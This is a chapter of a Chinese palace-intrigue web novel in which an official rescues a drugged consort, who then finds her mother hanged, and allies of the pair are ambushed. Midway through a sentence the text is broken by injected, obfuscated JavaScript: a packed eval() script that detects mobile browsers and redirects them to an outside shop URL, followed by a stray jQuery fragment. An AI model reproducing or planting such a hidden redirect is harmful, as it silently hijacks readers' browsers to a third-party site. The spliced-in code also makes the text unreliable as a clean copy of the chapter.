40. 笼中鼠雀
作品:《向女主献上断袖》 严真这辈子都没跑这么快过。
他一手拽着吴贞俪,一手提着袍角,靴子踩在地上咚咚作响,活像只被狗撵的兔子——不对,他本来就是被狗撵的那个。
早知道今日要做这等紧张刺激之事,他出门时就不穿这身文绉绉的袍子了!
严真脑子里跑马似的闪过一堆乱七八糟的念头,但脚下的动作却半点不敢停。
吴贞俪被他拽得踉踉跄跄,软骨散发作让她整个人像一滩烂泥,全靠严真拖着才没有趴在地上。
她喘着气,声音断断续续:“鸾……鸾台呢?”
严真被她问得一愣,脚下差点绊个跟头——鸾台?谁?
他脑子飞快转了一圈后才反应过来,哦,丫鬟的名字,等等,这都什么时候了?!吴贞俪还惦记个丫鬟!
他张了张嘴,又把话咽了回去,暗暗警告自己:严真,你可得谨言慎行!你拖着的可是个皇妃!品级比你高呢!
云英跟在后面,听到鸾台的名字,她身子一僵。
吴贞俪回头看她:“云英,鸾台在哪?她……还活着吗?”
云英没回答,只是咬着唇,泪扑簌簌地往下掉。
吴贞俪的心在云英的眼泪里沉了下去。
是了,以吴宣舟的性子,一个丫鬟的命……自然是不重要的。
严真忍了又忍,没忍住:“皇妃!现在没空救你的丫鬟!我们能不能活着出去还两说呢!”
身后,云英的脚步突然停了。
严真心头一跳,回头去看。
只见云英站在三步开外,脸上泪还没干,却咬着牙站得笔直。
“大人……”云英的声音在发抖,却一字一句说,“奴婢……奴婢去找鸾台。”
严真一愣。
“奴婢知道鸾台被关在哪里。”云英白着一张脸,她想过的。
就让吴贞俪以为鸾台死了,这样她就能逃了。
可鸾台的脸却阴魂不散的在眼前转,在皇府时她跟鸾台住一间房,夜冷时鸾台也曾往她怀里挤,说“云英好冷,借我暖暖”。
“奴婢……奴婢本来就是吴府的人,路熟,更何况皇妃中了药,奴婢一个人跑,比三个人一起跑容易。”
严真张了张嘴,一时间竟然不知道说什么。
身后,北院的方向传来越发激烈的打斗声,鬼面与黑影缠斗在一处,一时不分上下。
身前,院前的高墙下丫鬟一张脸素得煞白,严真看清她眼里的恐惧,他知道云英在害怕,这么怕了,还要去吗?
严真抿唇。
倘若……他能有鬼面一般的武艺就好了。
北院屋子里的动静越来越大,院外嗑瓜子的婆子终于意识到了不对,她冲进院子,被屋内打斗的黑影骇住,扯着嗓子喊了起来:“来人!快来人!北院有刺客!”
严真头皮一麻。
在这时候,吴贞俪率先下了决定:“严大人,分头跑。”
严真咬牙:“我带皇妃走,云英……你……”他说不出口。
吴贞俪看向云英,她没有多说什么,只是将袖子里抢来的那把匕首塞到云英手里:“你要多保重。”
云英的眼眶霎时间就红了,她用力地点头,接过吴贞俪手里的匕首转身就跑。
瘦小的身影消失在回廊拐角,引走了门口婆子的注意力,严真却注意到,她连头都没回。
院子里人声鼎沸,脚步声如潮水般涌来,严真来不及多想,只能拖着吴贞俪往另一头冲。
左相府中顿时大乱。
金吾卫的人手跟府内小厮混作一团,骚动先是从北面传来,而后渐渐有蔓延之势,等消息传到吴宣舟耳边时已经是两刻钟之后。
“……说是五皇妃不见了。”
闻明柔院外,亲信贴着吴宣舟耳侧低语,他眼中有慌乱之色一闪而过。
“不见了?”吴宣舟推门的手一顿,院外跪地的婆子背后直冒冷汗,都恨不得自己是个聋子。
亲信点头,正想再补充什么,就见吴宣舟眯眼抬手,示意众人噤声。
一片静谧中,只听院内隐隐传来几声凌乱的脚步声。
这个时候,谁会在闻明柔院内?
吴宣舟用眼神示意亲信拔刀入院。
身后一阵急促的脚步声打断了他。
“吴大人!”金吾卫的侍卫跑得满头大汗,“郑大人让小人来报……说是您府中北院发现有打斗痕迹,还有一具尸体!”
亲信的手指刚刚握到刀柄,闻言脸色剧变。
尸体?
吴宣舟眸中神色难辨,吴贞俪前脚刚报失踪,后脚北院就发现一具尸体。
这怎么看怎么像是调虎离山之计。
金吾卫派来的侍卫不懂其中弯弯绕绕,眼见面前吴宣舟等人无动于衷,那口气差点没喘匀,又提了起来:“吴大人,郑大人有命,请您速速前往北院,配合金吾卫行事!”
亲信闻言神色大变,手中刀剑出鞘:“区区金吾卫侍卫!你大胆!”
剑锋寒气逼人,侍卫原本气壮的架势在寒芒中也收敛了两分,他眼里露出惊色,眼见那剑就要劈头盖脸而来——
“放肆!”吴宣舟抬手挥袖止住了亲信的动作,他从始至终都没看亲信一眼,只是目光阴阴看向侍卫。
眼里似有千斤压顶,直盯得侍卫低下了头:“吴大人,下官不过奉命行事,您……”
吴宣舟不置可否,出言打断侍卫未尽之言:“走。”
还未等侍卫面上露出轻快之色,吴宣舟从腰侧拔剑,剑光呼啸,寒芒削落一小块手指,血滴滴答答落在地面。
吴宣舟将剑上血沫抖落在侍卫衣袍上,冷笑一声:“本相还未死,这偌大相府,由得你放肆?”
侍卫嘴里的痛呼还来不及出口,便被吴宣舟的神色骇住。
“拿我手令!”吴宣舟扬声吩咐亲信,“让府内侍卫把相府四周堵死!我倒是要看看,什么人能在我府中杀了人后还能一走了之!”
说罢,他甩袖而去。
手下亲信领命躬身,但在目送吴宣舟走后,他用眼神示意下属:“你,去夫人院中查查是哪只阿猫阿狗在捣乱。”
他冷笑:“青天白日就对我吴府动手,真以为我们是死人不成!”
深秋时分,相府树上最后一片枯叶被风卷走,落在了严真肩上。
严真伸手将枯叶拂下肩膀,他虽是个男子,但自幼也没吃过什么苦头,拖着吴贞俪跑到院中也已经累得气喘吁吁了。
“皇、皇妃……当真是此处?”
时间回到两人刚趁乱从北院离开的时候。严真不知今日吴宣舟府中发生了何事,竟然如此热闹,他刚跟吴贞俪走出北院大门,就被一眼尖的小厮瞧了个正着。
毫不夸张地说,严真在那瞬当真是用出了吃奶的劲儿在跑,他拖着吴贞俪撒腿就跑,反应之快叫那小厮都愣了片刻才喊人来追。
等他好不容易在吴贞俪的指挥下躲进一处假山洞里,脚却已经软了。
外头脚步声如擂鼓,震得严真心尖发颤。
“皇妃,我跑不动了。”严真毫无形象地往地上一蹲,哭丧着脸,“真的,一步都跑不动了。”
吴贞俪靠在假山壁上,明明整个人软得像一摊泥,背脊却还绷着,勉强维持着皇妃的体面。
她喘匀了一口气,轻声问:“严大人,你来救我,外头可有接应之人?”
严真抬头看她,表情空白了一瞬。
接应?什么接应?
靠!他就说他昨夜忘了什么事!要救五皇妃这种大事怎么就只有他一个命苦的卧底在行动!
吴贞俪在昏暗的光中与严真面面相觑,一颗心渐渐沉了下去。
“……”
“……”
一阵难言的沉默过后,吴贞俪闭了闭眼,许是也接受了现实。
“严大人,我知道吴府有一条小道,从后院可以直达街外。”
严真抬头,眼巴巴看着吴贞俪。
吴贞俪叹了口气:“在我母亲的院中,但此路也十分危险。相府格局坐南朝北,总共开三处大门,分别在东西北侧。如果你我二人往后院方向走,那是南侧。”
“如果被发现了,那便是死路一条。”
吴贞俪盯着严真:“吴宣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262487|194949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舟不会杀我,他留我还有用,但严大人你……”
严真咬牙,聪明人之间说话不费力,他自然听懂了吴贞俪的言外之意。
“几分把握?”
“如今北院大乱,南院在相反方向,相府占地虽大,但步行过去不过一刻便能到我母亲院中。”
假山外仆人的交谈声渐渐远去,严真脑子飞快转了一圈。
北院大乱,东西两门必定有仆从看守,正门难行,他带着吴贞俪又不好翻墙,眼下算来算去,竟然只有这条路可走。
他抹了把脸,“皇妃,下官这条小命可就拜托您了!”
假山内空间狭小,吴贞俪满腹心事也被严真逗笑,她看向假山之外:“严大人,我母亲常年多病,房内有备药,吴宣舟给我下了软骨散,倘若我能正常行走,想必我们此路也不必如此辛苦,说到底,还是我连累您。”
严真从地上一跃而起,他咧嘴笑笑。
嗐,这做皇妃的说话就是好听哈!
等假山外动静渐远后,严真跟着吴贞俪从侧门进了闻明柔的院子,才发现这地方安静得瘆人。
院中没有下人走动的声音,就连看守大门的婆子都不见了踪影,唯有冷风吹过枯树,将院外细碎的交谈声带进耳中。
吴贞俪的心在这一瞬不知为何紧绷了起来,她的脸色比刚才更白:“怎么……怎么这么安静?”
严真没吭声,只是扶着她贴着墙根缓缓前行,两人不敢靠近正门所在的方向,也不敢发出太大的动静。
院外只远远传来几个零星的字眼,过后便是一阵诡异到极点的寂静。
严真转头去看吴贞俪,却被她的神色惊到。
吴贞俪的额角有汗滑落,她神色惊慌,嘴唇嚅动了片刻才抖出只言片语:“……院外是吴宣舟。”
严真的心猛地一沉,怎么会如此倒霉!
吴贞俪抓着严真手臂,力道掐得严真生疼:“去我母亲屋中躲躲。”
严真顾不上呼痛,点头应下。
最危险的地方就是最安全的地方。
两人屏住呼吸,蹑手蹑脚摸到房门前。
闻明柔屋子的门虚掩着。
吴贞俪伸手一推——
午后零星的阳光透过木窗洒进屋内,闻明柔的房间里被褥整齐,桌上还留了半盏冷茶,窗外的海棠开到极致,花瓣层层下落,只余下一丝细弱的花蕊。
吴贞俪的心在踏进闻明柔屋内时不知为何咯噔了一下。
严真扶住她的手微微一颤,吴贞俪顺着他的目光往上看。
房梁之上垂着一根长长的、素白的布。
一双绣花鞋悬在半空。
吴贞俪整个人像被抽去了骨头,软软地瘫倒在地。
她张着嘴,喉咙里却只发出几声沙哑的气音,像是溺水的人拼命想呼吸,却怎么也吸不进一口气。
眼泪流进嘴里,将舌头上的伤口刺得生疼,也模糊了视线里那双悬在半空的绣花鞋。
那被白布勒住的人,是她的母亲。
窗外响起鸟鸣,鸣声脆脆,直叫得柳林心烦意乱。
“兄长,严真这小子怎么还没出来?”柳林蹲在相府后门墙根的阴影里,耳朵竖得比兔子还高。
他身侧站着个人,此人身量颇高,穿着一身雪白长袍,长袍袖口绣满经文,幂篱外一层细白的软纱遮住了她的容颜。
微冷的女音从幂篱之下传来:“柳林,你再叫我一声兄长,仔细你的皮。”
柳林:“……”
他颇为乖顺地低下头,嘴里却还不服输地嘀嘀咕咕:“这怎么能怪小弟?要我说您这牺牲也忒大,救个五皇妃怎么还得男扮女装啊?”
裴疏:“……”
她简直要被柳林这傻子气笑。
但还未等她开口说些什么,幂篱下的神色便骤然一变。
四面八方,有脚步声在靠近。
柳林从腰间抽出软刀站到裴疏身前,刀面倒映出他脸上的福寿鬼面与对面数十道黑影。
“想必您就是跟五皇妃私下见面的人了?”为首之人冷笑,“吴大人说了,等您多时了。”

